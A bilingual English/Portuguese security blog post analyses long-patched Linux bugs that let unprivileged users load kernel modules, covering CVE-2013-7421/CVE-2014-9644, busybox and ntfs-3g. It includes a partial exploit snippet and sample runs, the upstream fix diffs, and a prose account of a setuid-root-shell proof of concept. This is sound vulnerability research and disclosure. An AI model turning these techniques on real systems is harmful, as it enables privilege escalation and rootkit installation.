An almost perfect vulnerability for kernel rootkits – Uma quase perfeita vulnerabilidade para carregar rootkits em kernel

English / Português

English:

Access to the kernel of a system means to get access to one of the most interesting part of a computer. When accessing the kernel, an attacker gets privilege to do many things one could not do in user space. Therefore, I started to think about vulnerabilities that allow to load kernel modules without proper permissions. After browsing a bit, I found out that similar vulnerabilities were found in the Linux kernel. The vulnerabilities identified by CVE-2013-7421 [1] and CVE-2014-9644 [2]. In fact these two CVEs are about the same vulnerability and they could be considered as duplicated CVEs. The first patch [3] did not really fix the problem and even so allowed exploitation. After a few days since the first patch, a new one [4] appeared and fixed the problem. This post was written based on my understanding of the information and references available on [5].

Português:

Acesso ao kernel de um sistema significa ganhar acesso a uma das partes mais interessantes de um computador. Ao acessar o kernel, um atacante ganha privilégio para fazer muitas coisas que não poderia ser feito no espaço de usuárioSendo assim, comecei a pensar em vulnerabilidades que permitissem carregar módulos no kernel sem os privilégios necessários. Depois de pesquisar um pouco, descobri que vulnerabilidades similares foram encontradas no kernel do Linux. As vulnerabilidades identificadas por CVE-2013-7421 [1] e CVE-2014-9644 [2]. Na verdade, estes dois CVEs representam a mesma vulnerabilidade, podendo ser considerados como CVEs duplicados. A primeira correção [3] não eliminava o problema por completo e ainda assim permitia a exploração. Após alguns poucos dias desde a primeira correção, uma nova [4] apareceu e corrigiu o problema. Este post foi escrito baseado na minha interpretação das informações e referências disponíveis em [5].

English:

Access to the kernel of a system means to get access to one of the most interesting part of a computer. When accessing the kernel, an attacker gets privilege to do many things one could not do in user space. Therefore, I started to think about vulnerabilities that allow to load kernel modules without proper permissions. After browsing a bit, I found out that similar vulnerabilities were found in the Linux kernel. The vulnerabilities identified by CVE-2013-7421 [1] and CVE-2014-9644 [2]. In fact these two CVEs are about the same vulnerability and they could be considered as duplicated CVEs. The first patch [3] did not really fix the problem and even so allowed exploitation. After a few days since the first patch, a new one [4] appeared and fixed the problem. This post was written based on my understanding of the information and references available on [5].

CVE-2013-7421

The vulnerability existed in the Linux kernel’s crypto subsystem. This subsystem is accessed through networking system calls. It means the system calls socket(), bind(), send(), recv(), setsockopt(), getsockopt() and so on can be used to access the crypto subsystem from user space. The vulnerability could be triggered through the bind(). One of the arguments of the bind() system call when interacting with the crypto API is the cipher name that will be used during the operations. As the cipher can be implemented in a kernel module, bind() needs to check whether the module is already loaded and available for using,  on the contrary, load it or the utilisation of the cipher will fail.

The problem appears precisely on this. If it is passed an arbitrary name to bind(), the function will try to load a kernel module with that name. I did not take a look at the vulnerability to try to load modules of a directory specified by the user but based on public data about the vulnerability I believe it only allows to load modules of the kernel directory. That’s why the title is an almost perfect vulnerability, in contrast, it would be a great kernel vulnerability. However, I still like this vulnerability because it allows to increase the attack surface an attacker could have by adding more codes to the kernel.

CVE-2014-9644

The first patch still allows exploitation of the problem in case the name of the cipher is using templates. Templates allow to pass additional information to bind(). As example, if one wants to use the cipher AES in ECB mode, the argument will be “ecb(aes)”. Another example more complex could be “authenc(hmac(sha1),cbc(aes))” [6].

Exploitation

To exploit the vulnerability in a system without the patches, one needs to create a socket using socket() and to call bind() passing as argument the name of the module that one wishes to load. In a system where only the first patch was applied, the only difference is to pass the name of the module using templates.

Part of the exploit for CVE-2013-7421 / CVE-2014-9644

...
struct sockaddr_alg sa = {
 .salg_family = AF_ALG,
 .salg_type = "hash",
 };

strncpy(sa.salg_name,argv[1],sizeof(sa.salg_name) - 1);

if((fd = socket(AF_ALG,SOCK_SEQPACKET,0)) == -1){
    perror("socket");
    exit(EXIT_FAILURE);
}

bind(fd,(struct sockaddr *)&sa,sizeof(sa));
...

Exploitation case 01

% lsmod|grep bluetooth
% ./CVE-2013-7421 bluetooth
% lsmod|grep bluetooth
bluetooth 462084 0
rfkill 26821 1 bluetooth
%

Exploitation case 02

% lsmod|grep bluetooth
% ./CVE-2013-7421 "bluetooth(aes)"
% lsmod|grep bluetooth
bluetooth 462084 0
rfkill 26821 1 bluetooth
%

The main pieces of the patches can be seen below as the commit is big.

--- a/crypto/api.c
+++ b/crypto/api.c
@@ -216,11 +216,11 @@ struct crypto_alg *crypto_larval_lookup(const char *name, u32 type, u32 mask)
    alg = crypto_alg_lookup(name, type, mask);
    if (!alg) {
-         request_module("%s", name);
+         request_module("crypto-%s", name);

          if (!((type ^ CRYPTO_ALG_NEED_FALLBACK) & mask &
              CRYPTO_ALG_NEED_FALLBACK))
              - request_module("%s-all", name);
              + request_module("crypto-%s-all", name);

              alg = crypto_alg_lookup(name, type, mask);
    }
...

--- a/crypto/aes_generic.c
+++ b/crypto/aes_generic.c
@@ -1474,4 +1474,4 @@ module_exit(aes_fini);
MODULE_DESCRIPTION("Rijndael (AES) Cipher Algorithm");
MODULE_LICENSE("Dual BSD/GPL");
-MODULE_ALIAS("aes");
+MODULE_ALIAS_CRYPTO("aes");

...

--- a/include/linux/crypto.h
+++ b/include/linux/crypto.h
@@ -26,6 +26,19 @@
#include <linux/uaccess.h>

/*
+ * Autoloaded crypto modules should only use a prefixed name to avoid allowing
+ * arbitrary modules to be loaded. Loading from userspace may still need the
+ * unprefixed names, so retains those aliases as well.
+ * This uses __MODULE_INFO directly instead of MODULE_ALIAS because pre-4.3
+ * gcc (e.g. avr32 toolchain) uses __LINE__ for uniqueness, and this macro
+ * expands twice on the same line. Instead, use a separate base name for the
+ * alias.
+ */

+#define MODULE_ALIAS_CRYPTO(name) \
+ __MODULE_INFO(alias, alias_userspace, name); \
+ __MODULE_INFO(alias, alias_crypto, "crypto-" name)
+
+/*
* Algorithm masks and types.
*/

#define CRYPTO_ALG_TYPE_MASK 0x0000000f

Second patch

--- a/crypto/algapi.c
+++ b/crypto/algapi.c
@@ -509,8 +509,8 @@ static struct crypto_template *__crypto_lookup_template(const char *name)
struct crypto_template *crypto_lookup_template(const char *name)
{
-     return try_then_request_module(__crypto_lookup_template(name), "%s",
-                                    name);
+     return try_then_request_module(__crypto_lookup_template(name),
+                                    "crypto-%s", name);
}
EXPORT_SYMBOL_GPL(crypto_lookup_template);

...

--- a/crypto/cbc.c
+++ b/crypto/cbc.c
@@ -289,3 +289,4 @@ module_exit(crypto_cbc_module_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("CBC block cipher algorithm");
+MODULE_ALIAS_CRYPTO("cbc");

What about this kind of vulnerability affecting programs in user space?

CVE-2014-9645 – Busybox [7][8]

The busybox’s modprobe implementation had a problem that also allowed loading of arbitrary modules. A fix for CVE-2013-7421 / CVE-2014-9644 is to force the module’s name to have a specific prefix, forcing the name to be something like “crypto-cipher_name”. The busybox’s modprobe implementation was ignoring the full path passed as argument and doing something like basename() to get only the name of the module to be loaded. According to [5], the following string “/vfat” as argument would end up as “crypto-/vfat.ko” and the busybox’s modprobe would remove everything before the slash and only interpreting the argument as “vfat.ko” thus loading the module. The busybox’s modprobe was in essence undoing the fix for CVE-2013-7421 / CVE-2014-9644.

Patch for CVE-2014-9645

--- a/modutils/modprobe.c
+++ b/modutils/modprobe.c
@@ -238,6 +238,17 @@ static void add_probe(const char *name)
{
   struct module_entry *m;

+ /*
+ * get_or_add_modentry() strips path from name and works
+ * on remaining basename.
+ * This would make "rmmod dir/name" and "modprobe dir/name"
+ * to work like "rmmod name" and "modprobe name",
+ * which is wrong, and can be abused via implicit modprobing:
+ * "ifconfig /usbserial up" tries to modprobe netdev-/usbserial.
+ */
+ if (strchr(name, '/'))
+ bb_error_msg_and_die("malformed module name '%s'", name);
+
    m = get_or_add_modentry(name);
    if (!(option_mask32 & (OPT_REMOVE | OPT_SHOW_DEPS))
    && (m->flags & MODULE_FLAG_LOADED)

CVE-2017-0358 – ntfs-3g [9]

Vulnerability appeared recently and was found by Google’s Project Zero team. The interesting thing about this vulnerability is that it allows loading of any modules and not only modules of the kernel directory, in case of the package was built as setuid. A proof of concept soon appeared as well showing how this vulnerability could be abused. In the code that can be found here, a kernel module is built by the exploit during the execution. This kernel module when loaded copies the binary /bin/bash to /tmp/root and set to it the suidbit. The function call_usermodehelper() is used to run binaries directly from the kernel as it was in user space. To finalize one just needs to run the binary /tmp/root and to get root shell.

The vulnerability exists because the modprobe command is called with the environment variables in the original state. The environment variable MODPROBE_OPTIONS when set could influence the behavior of the modprobe command. The fix to the problem is to change the function calling modprobe to execle() and setting the environment variables to NULL.

--- ntfs-3g/src/lowntfs-3g.c.ref        2016-12-31 08:56:59.011749600 +0100
+++ ntfs-3g/src/lowntfs-3g.c    2017-01-05 14:41:52.041473700 +0100
@@ -4291,13 +4291,14 @@
        struct stat st;
        pid_t pid;
        const char *cmd = "/sbin/modprobe";
+       char *env = (char*)NULL;
        struct timespec req = { 0, 100000000 };   /* 100 msec */
        fuse_fstype fstype;

        if (!stat(cmd, &st) && !geteuid()) {
                pid = fork();
                if (!pid) {
-                       execl(cmd, cmd, "fuse", NULL);
+                       execle(cmd, cmd, "fuse", NULL, &env);
                        _exit(1);
                } else if (pid != -1)
                        waitpid(pid, NULL, 0);
--- ntfs-3g/src/ntfs-3g.c.ref   2016-12-31 08:56:59.022518700 +0100
+++ ntfs-3g/src/ntfs-3g.c       2017-01-05 15:45:45.912499400 +0100
@@ -3885,13 +3885,14 @@
        struct stat st;
        pid_t pid;
        const char *cmd = "/sbin/modprobe";
+       char *env = (char*)NULL;
        struct timespec req = { 0, 100000000 };   /* 100 msec */
        fuse_fstype fstype;

        if (!stat(cmd, &st) && !geteuid()) {
                pid = fork();
                if (!pid) {
-                       execl(cmd, cmd, "fuse", NULL);
+                       execle(cmd, cmd, "fuse", NULL, &env);
                        _exit(1);
                } else if (pid != -1)
                        waitpid(pid, NULL, 0);

This kind of vulnerability is very interesting because it allows in certain degree to change the kernel state. In the one hand, the possibility of loading a module created by the user and to get kernel code execution in an easy and reliable way. As the nature of the vulnerability does not involve memory corruption, no mitigation needs to be bypassed. If the goal is to load a rootkit, it can be done directly through the vulnerability. On the other hand, these vulnerabilities allow to increase the attack surface. Third-party modules is where are many vulnerabilities affecting Linux kernel. Vulnerabilities in not very popular kernel modules could be ignored due to the fact the modules are not loaded by default but with vulnerabilities similar to that that affected the crypto API, these modules could be loaded and exploited.

According to [5], the vulnerability existed since when the crypto API landed and even after the problem had become public, it took some time to be solved.

References

[1] – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9644

[2] – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7421

[3] – https://github.com/torvalds/linux/commit/5d26a105b5a73e5635eae0629b42fa0a90e07b7b

[4] – https://github.com/torvalds/linux/commit/4943ba16bbc2db05115707b3ff7b4874e9e3c560

[5] – https://plus.google.com/+MathiasKrause/posts/PqFCo4bfrWu

[6] – https://kernel.readthedocs.io/en/sphinx-samples/crypto-API.html

[7] – https://security-tracker.debian.org/tracker/CVE-2014-9645

[8] – https://bugs.busybox.net/show_bug.cgi?id=7652

[9] – http://seclists.org/oss-sec/2017/q1/259

[10] – http://seclists.org/oss-sec/2017/q1/307

 

Português:

Acesso ao kernel de um sistema significa ganhar acesso a uma das partes mais interessantes de um computador. Ao acessar o kernel, um atacante ganha privilégio para fazer muitas coisas que não poderia ser feito no espaço de usuárioSendo assim, comecei a pensar em vulnerabilidades que permitissem carregar módulos no kernel sem os privilégios necessários. Depois de pesquisar um pouco, descobri que vulnerabilidades similares foram encontradas no kernel do Linux. As vulnerabilidades identificadas por CVE-2013-7421 [1] e CVE-2014-9644 [2]. Na verdade, estes dois CVEs representam a mesma vulnerabilidade, podendo ser considerados como CVEs duplicados. A primeira correção [3] não eliminava o problema por completo e ainda assim permitia a exploração. Após alguns poucos dias desde a primeira correção, uma nova [4] apareceu e corrigiu o problema. Este post foi escrito baseado na minha interpretação das informações e referências disponíveis em [5].

CVE-2013-7421

A vulnerabilidade existia no subsistema de criptografia do kernel do linux. Este subsistema é acessado através das chamadas de sistemas de rede. Isso significa que as chamadas de sistema socket(), bind(), send(), recv(), setsockopt(), getsockopt() e assim por diante são utilizadas para acessar a API de criptografia via espaço de usuário. O problema poderia ser acionado através da chamada de sistema bind(). Um dos argumentos desta chamada de sistema quando interagindo com a API é a cifra que será utilizada nas operações. Como a cifra pode ser implementada em um módulo do kernel, a chamada de sistema bind() precisa checar se o módulo já está carregado e disponível, caso contrário, carregá-lo ou a utilização da cifra resultará em erros.

O problema aparece justamente neste recurso. Se passar um nome arbitrário para a chamada de sistema bind(), a função tentará carregar um módulo no kernel com este nome. Não analisei a vulnerabilidade com o objetivo de verificar o que realmente pode ser feito por um atacante, mas baseado nas informações públicas acredito que esta vulnerabilidade permita carregar um módulo somente do diretório específico do kernel. Por isso o título chama-se uma quase perfeita vulnerabilidade, caso permitisse carregar módulo criado pelo usuário, seria uma vulnerabilidade muito mais interessante. Mesmo neste caso considero esta uma vulnerabilidade interessante por permitir um atacante carregar módulos arbitrários e consequentemente aumentar a superfície de ataques.

CVE-2014-9644

A primeira correção ainda permite a exploração do problema se o nome da cifra a ser utilizada estivesse usando templates. Templates permite passar informações adicionais para a chamada de sistema bind(). Por exemplo, se quiser utilizar a cifra AES no modo ECB, o argumento ficará “ecb(aes)”. Outro exemplo mais complexo pode ser “authenc(hmac(sha1),cbc(aes))” [6].

Exploração

A exploração é bastante trivial. Para um sistema onde nenhuma correção foi aplicada, para explorar a vulnerabilidade é necessário a criação de um socket usando a chamada de sistema socket() e em seguida executar a chamada de sistema bind() e passar como argumento o nome do módulo que deseja carregar. Em um sistema onde somente a primeira correção foi aplicada, a única diferença é passar o nome do módulo usando templates.

Parte do exploit para CVE-2013-7421 / CVE-2014-9644

...
struct sockaddr_alg sa = {
 .salg_family = AF_ALG,
 .salg_type = "hash",
 };

strncpy(sa.salg_name,argv[1],sizeof(sa.salg_name) - 1);

if((fd = socket(AF_ALG,SOCK_SEQPACKET,0)) == -1){
    perror("socket");
    exit(EXIT_FAILURE);
}

bind(fd,(struct sockaddr *)&sa,sizeof(sa));
...

Exploração caso 01

% lsmod|grep bluetooth
% ./CVE-2013-7421 bluetooth
% lsmod|grep bluetooth
bluetooth 462084 0
rfkill 26821 1 bluetooth
%

Exploração caso 02

% lsmod|grep bluetooth
% ./CVE-2013-7421 "bluetooth(aes)"
% lsmod|grep bluetooth
bluetooth 462084 0
rfkill 26821 1 bluetooth
%

As correções podem ser vistas abaixo. Como o commit completo é muito grande, abaixo encontra-se somente a parte principal.

--- a/crypto/api.c
+++ b/crypto/api.c
@@ -216,11 +216,11 @@ struct crypto_alg *crypto_larval_lookup(const char *name, u32 type, u32 mask)
    alg = crypto_alg_lookup(name, type, mask);
    if (!alg) {
-         request_module("%s", name);
+         request_module("crypto-%s", name);

          if (!((type ^ CRYPTO_ALG_NEED_FALLBACK) & mask &
              CRYPTO_ALG_NEED_FALLBACK))
              - request_module("%s-all", name);
              + request_module("crypto-%s-all", name);

              alg = crypto_alg_lookup(name, type, mask);
    }
...

--- a/crypto/aes_generic.c
+++ b/crypto/aes_generic.c
@@ -1474,4 +1474,4 @@ module_exit(aes_fini);
MODULE_DESCRIPTION("Rijndael (AES) Cipher Algorithm");
MODULE_LICENSE("Dual BSD/GPL");
-MODULE_ALIAS("aes");
+MODULE_ALIAS_CRYPTO("aes");

...

--- a/include/linux/crypto.h
+++ b/include/linux/crypto.h
@@ -26,6 +26,19 @@
#include <linux/uaccess.h>

/*
+ * Autoloaded crypto modules should only use a prefixed name to avoid allowing
+ * arbitrary modules to be loaded. Loading from userspace may still need the
+ * unprefixed names, so retains those aliases as well.
+ * This uses __MODULE_INFO directly instead of MODULE_ALIAS because pre-4.3
+ * gcc (e.g. avr32 toolchain) uses __LINE__ for uniqueness, and this macro
+ * expands twice on the same line. Instead, use a separate base name for the
+ * alias.
+ */

+#define MODULE_ALIAS_CRYPTO(name) \
+ __MODULE_INFO(alias, alias_userspace, name); \
+ __MODULE_INFO(alias, alias_crypto, "crypto-" name)
+
+/*
* Algorithm masks and types.
*/

#define CRYPTO_ALG_TYPE_MASK 0x0000000f

Segunda correção

--- a/crypto/algapi.c
+++ b/crypto/algapi.c
@@ -509,8 +509,8 @@ static struct crypto_template *__crypto_lookup_template(const char *name)
struct crypto_template *crypto_lookup_template(const char *name)
{
-     return try_then_request_module(__crypto_lookup_template(name), "%s",
-                                    name);
+     return try_then_request_module(__crypto_lookup_template(name),
+                                    "crypto-%s", name);
}
EXPORT_SYMBOL_GPL(crypto_lookup_template);

...

--- a/crypto/cbc.c
+++ b/crypto/cbc.c
@@ -289,3 +289,4 @@ module_exit(crypto_cbc_module_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("CBC block cipher algorithm");
+MODULE_ALIAS_CRYPTO("cbc");

E vulnerabilidades desse tipo afetando programas no espaço de usuário?

CVE-2014-9645 – Busybox [7][8]

A implementação do comando modprobe no busybox continha um problema que também permitia carregar módulos arbitrários. A correção para os CVE-2013-7421 / CVE-2014-9644 consiste em garantir que o módulo a ser carregado tenha um valor pré-fixado, exemplo “crypto-nome_da_cifra”. O código do busybox ignorava o caminho completo passado como argumento e usava algo como a função basename() para obter somente o nome do módulo a ser carregado. De acordo com [5], a seguinte cifra “/vfat” como argumento resultaria em “crypto-/vfat.ko” fazendo com que o modprobe removesse tudo antes da barra e somente interpretando o argumento como “vfat.ko”, consequentemente, permitindo carregar módulos arbitrários. O modprobe do busybox praticamente desfazia a correção das vulnerabilidades CVE-2013-7421 / CVE-2014-9644.

Correção da vulnerabilidade CVE-2014-9645

--- a/modutils/modprobe.c
+++ b/modutils/modprobe.c
@@ -238,6 +238,17 @@ static void add_probe(const char *name)
{
   struct module_entry *m;

+ /*
+ * get_or_add_modentry() strips path from name and works
+ * on remaining basename.
+ * This would make "rmmod dir/name" and "modprobe dir/name"
+ * to work like "rmmod name" and "modprobe name",
+ * which is wrong, and can be abused via implicit modprobing:
+ * "ifconfig /usbserial up" tries to modprobe netdev-/usbserial.
+ */
+ if (strchr(name, '/'))
+ bb_error_msg_and_die("malformed module name '%s'", name);
+
    m = get_or_add_modentry(name);
    if (!(option_mask32 & (OPT_REMOVE | OPT_SHOW_DEPS))
    && (m->flags & MODULE_FLAG_LOADED)

CVE-2017-0358 – ntfs-3g [9]

Vulnerabilidade bem recente que foi encontrada pelo pessoal do Google Project Zero. O diferencial desta vulnerabilidade comparada com as outras é que ela realmente permite o carregamento de qualquer módulo e não somente de um diretório específico, caso o pacote tenha sido compilado como setuid. Uma prova de conceito logo apareceu demonstrando como esta vulnerabilidade pode ser abusada. No exemplo, que pode ser encontrado aqui, um módulo para o kernel é compilado em tempo de execução. O módulo quando carregado cria uma cópia do binário /bin/bash em /tmp/root e seta o atributo suidbit. A função call_usermodehelper() é utilizada para executar binários diretamente do kernel, como se estivesse no espaço de usuário. Para finalizar basta executar o binário /tmp/root e obter shell como usuário root.

A vulnerabilidade existe por que o comando modprobe é chamado com as variáveis de ambiente no estado original. A variável de ambiente MODPROBE_OPTIONS quando configurada, poderia influenciar o comportamento do comando modprobe. A correção para o problema é alterar a função chamando modprobe para execle() e setar as variáveis de ambiente como nulo.

--- ntfs-3g/src/lowntfs-3g.c.ref        2016-12-31 08:56:59.011749600 +0100
+++ ntfs-3g/src/lowntfs-3g.c    2017-01-05 14:41:52.041473700 +0100
@@ -4291,13 +4291,14 @@
        struct stat st;
        pid_t pid;
        const char *cmd = "/sbin/modprobe";
+       char *env = (char*)NULL;
        struct timespec req = { 0, 100000000 };   /* 100 msec */
        fuse_fstype fstype;

        if (!stat(cmd, &st) && !geteuid()) {
                pid = fork();
                if (!pid) {
-                       execl(cmd, cmd, "fuse", NULL);
+                       execle(cmd, cmd, "fuse", NULL, &env);
                        _exit(1);
                } else if (pid != -1)
                        waitpid(pid, NULL, 0);
--- ntfs-3g/src/ntfs-3g.c.ref   2016-12-31 08:56:59.022518700 +0100
+++ ntfs-3g/src/ntfs-3g.c       2017-01-05 15:45:45.912499400 +0100
@@ -3885,13 +3885,14 @@
        struct stat st;
        pid_t pid;
        const char *cmd = "/sbin/modprobe";
+       char *env = (char*)NULL;
        struct timespec req = { 0, 100000000 };   /* 100 msec */
        fuse_fstype fstype;

        if (!stat(cmd, &st) && !geteuid()) {
                pid = fork();
                if (!pid) {
-                       execl(cmd, cmd, "fuse", NULL);
+                       execle(cmd, cmd, "fuse", NULL, &env);
                        _exit(1);
                } else if (pid != -1)
                        waitpid(pid, NULL, 0);

Esse tipo de vulnerabilidade é bastante interessante por que permite de certa forma alterar o estado do kernel. Por um lado, a possibilidade de carregar um módulo criado pelo usuário e ganhar execução de código arbitrário no kernel de forma fácil e confiável. Como a natureza da vulnerabilidade não envolve corrupção de memória, nenhum mitigação precisa ser burlada. Se o objetivo é carregar um rootkit, o mesmo pode ser carregado diretamente usando a vulnerabilidade. Por outro lado, essas vulnerabilidades permitem aumentar a superfície de ataques. Módulos de terceiros é onde encontram-se muitas vulnerabilidades afetando o Linux. Vulnerabilidades em módulos de terceiros que não são comumente usados podem ser ignoradas pelo motivo do módulo não ser carregado por padrão e então não oferecer risco diretamente mas com uma vulnerabilidade similar a esta que afetou o subsistema de criptografia do kernel do Linux, este módulo vulnerável poderia ser carregado e explorado.

Segundo [5], a vulnerabilidade CVE-2013-7421 / CVE-2014-9644 existia desde quando a API de criptografia apareceu e mesmo após o problema ser considerado público, levou algum tempo para serem corrigidas.

Referências

[1] – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9644

[2] – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7421

[3] – https://github.com/torvalds/linux/commit/5d26a105b5a73e5635eae0629b42fa0a90e07b7b

[4] – https://github.com/torvalds/linux/commit/4943ba16bbc2db05115707b3ff7b4874e9e3c560

[5] – https://plus.google.com/+MathiasKrause/posts/PqFCo4bfrWu

[6] – https://kernel.readthedocs.io/en/sphinx-samples/crypto-API.html

[7] – https://security-tracker.debian.org/tracker/CVE-2014-9645

[8] – https://bugs.busybox.net/show_bug.cgi?id=7652

[9] – http://seclists.org/oss-sec/2017/q1/259

[10] – http://seclists.org/oss-sec/2017/q1/307

Author: Anderson Eduardo

A computer security researcher focused on understanding, discovering and exploiting computer security vulnerabilities. - Um pesquisador em segurança da informação com o foco em entender, descobrir e explorar vulnerabilidades em computadores.

2 thoughts on “An almost perfect vulnerability for kernel rootkits – Uma quase perfeita vulnerabilidade para carregar rootkits em kernel”

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

w

Connecting to %s